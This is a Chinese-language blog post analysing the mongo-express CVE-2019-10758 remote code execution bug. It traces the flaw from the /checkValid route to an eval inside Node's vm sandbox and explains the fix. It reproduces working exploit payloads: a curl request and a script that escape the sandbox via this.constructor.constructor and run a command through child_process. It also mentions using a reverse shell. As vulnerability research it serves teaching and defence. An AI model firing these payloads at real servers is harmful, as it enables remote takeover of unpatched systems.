cve-2019-10758 mongo-express rce 漏洞分析

小灰灰 2021-08-30 17:00 418阅读 0赞

下面是对漏洞的描述：

> mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.

## 环境搭建 ##

漏洞复现需要准备的环境有：

1.  MongoDB
2.  node & npm
3.  mongo-express < 0.54.0

因此可采用如下命令准备环境：

docker run -p 27017:27017 -d mongo
    npm install mongo-express@0.53.0 
    cd node_modules/mongo-express/ && npm start

[![format_png][]][format_png 1]

## 漏洞分析 ##

首先看一下作者贴的两个 exploit：

## cURL exploit ##

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

## Script exploit ##

node main.js
    exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"
    
    var bson = require('mongo-express/lib/bson')
    bson.toBSON(exploit)

很明显从 exploit 中我们能明显得出以下两个结论：

1.  存在 RCE 漏洞的代码位于 `mongo-express/lib/bson`
2.  路由 `/checkValid` 从外部接收输入，并调用了存在 RCE 漏洞的代码，由此存在被攻击的风险

首先定位可以接受外界输入的路由 [https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js：][https_github.com_mongo-express_mongo-express_blob_v0.53.0_lib_router.js]

const router = function (config) {
      // 省略其他无关代码
      const appRouter = express.Router();
      appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);
      return appRouter;
    }

继续定位 [https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js：][https_github.com_mongo-express_mongo-express_blob_v0.53.0_lib_routes_document.js]

可以很明显看到这里会从 POST 请求中读取 `document` 并作为参数继续调用 `bson.toBSON(doc);`，而根据我们之前的分析，漏洞代码有 99% 的可能性位于 `bson.toBSON` 函数内，所以继续分析源码，[https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js：][https_github.com_mongo-express_mongo-express_blob_v0.53.0_lib_bson.js]

重点出现！>>> `vm.runInNewContext('doc = eval((' + string + '));', sandbox);`

对 nodejs 的沙箱逃逸有所关注的朋友很容易就能注意到这段代码和 vm 沙盒逃逸代码 demo 的惊人相似：

const vm = require('vm');
    
    vm.runInNewContext('this.constructor.constructor("return process")().exit()');

在这里，由于用户输入的最终会被拼接上 `eval`，所以很容易就能导致 RCE。可以看到作者的 exploit 就是获得全局上下文后直接导入 `child_process` 来执行系统命令：

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

[![format_png 2][]][format_png 2 1]

不过由于这是个没有回显的 RCE，因此在实际漏洞利用的时候可能需要反弹 shell 之类的操作来辅助漏洞的利用。

### 攻击链回顾 ###

1.  路由 `/checkValid` 可以接收用户的输入，并将其作为参数调用存在漏洞的 `bson.toBSON` 函数
2.  `bson.toBSON` 使用了不安全的 vm 模块来执行用户输入的代码
3.  恶意代码在执行时成功沙盒逃逸，任意代码执行

## 漏洞修复 ##

查看修复了漏洞的 v0.54.0 版本的源代码，[https://github.com/mongo-express/mongo-express/blob/v0.54.0/lib/bson.js，][https_github.com_mongo-express_mongo-express_blob_v0.54.0_lib_bson.js] 可以看到作者废弃了之前 vm + eval 的思路，使用了另一个库来实现该功能：

好吧，既然没有了 vm 那当然没有沙盒逃逸更没有 RCE 了 :(

## 补充：vm 沙盒逃逸 ##

写到这里再来补充点 vm 沙盒逃逸的知识，方便加深大家对该漏洞的理解：

以漏洞代码为例：

vm.runInNewContext('doc = eval((' + string + '));', sandbox);

这段代码等价于：

const vm = require('vm');
    
    const script = new vm.Script('doc = eval((' + string + '));');
    const context = vm.createContext(sandbox);
    
    script.runInContext(context);

对象 `sandbox` 就是 vm 中脚本执行时的上下文环境 context，vm 脚本中全局 this 指向的就是该对象。

然后如果我们的输入是上文所示的 exploit 的话， vm 中的代码大致等价为：

// this -> 传入的 sandbox
    const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
    const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
    const myfun = FunctionConstructor('return process'); // 构造一个函数，返回process全局变量
    const process = myfun(); // 获得全局 process 变量
    process.mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator") // 全局变量简直为所欲为

可以看到 vm 模块不安全的核心问题在于：vm 内脚本的 context 对象是在主程序中定义的，根据 JS 原型链原理，可以轻松获得主程序中的 Function 对象。然后如果用主程序的 Function 对象构造一个函数，那么该函数运行时的上下文环境必然位于主程序中，由此获得了主程序的上下文环境，成功沙盒逃逸！

靶机环境：  
https://vulhub.org/\#/environments/mongo-express/CVE-2019-10758/

[format_png]: /images/20210728/4d054b0a1de94a2fb02b303d32baede9.png
[format_png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20200105224424-ddc9c9ea-2fc9-1.png
[https_github.com_mongo-express_mongo-express_blob_v0.53.0_lib_router.js]: https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js%EF%BC%9A
[https_github.com_mongo-express_mongo-express_blob_v0.53.0_lib_routes_document.js]: https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js%EF%BC%9A
[https_github.com_mongo-express_mongo-express_blob_v0.53.0_lib_bson.js]: https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js%EF%BC%9A
[format_png 2]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly94emZpbGUuYWxpeXVuY3MuY29tL21lZGlhL3VwbG9hZC9waWN0dXJlLzIwMjAwMTA1MjI1MDMwLWI3YzEzNzc4LTJmY2EtMS5wbmc?x-oss-process=image/format,png
[format_png 2 1]: https://xzfile.aliyuncs.com/media/upload/picture/20200105225030-b7c13778-2fca-1.png
[https_github.com_mongo-express_mongo-express_blob_v0.54.0_lib_bson.js]: https://github.com/mongo-express/mongo-express/blob/v0.54.0/lib/bson.js%EF%BC%8C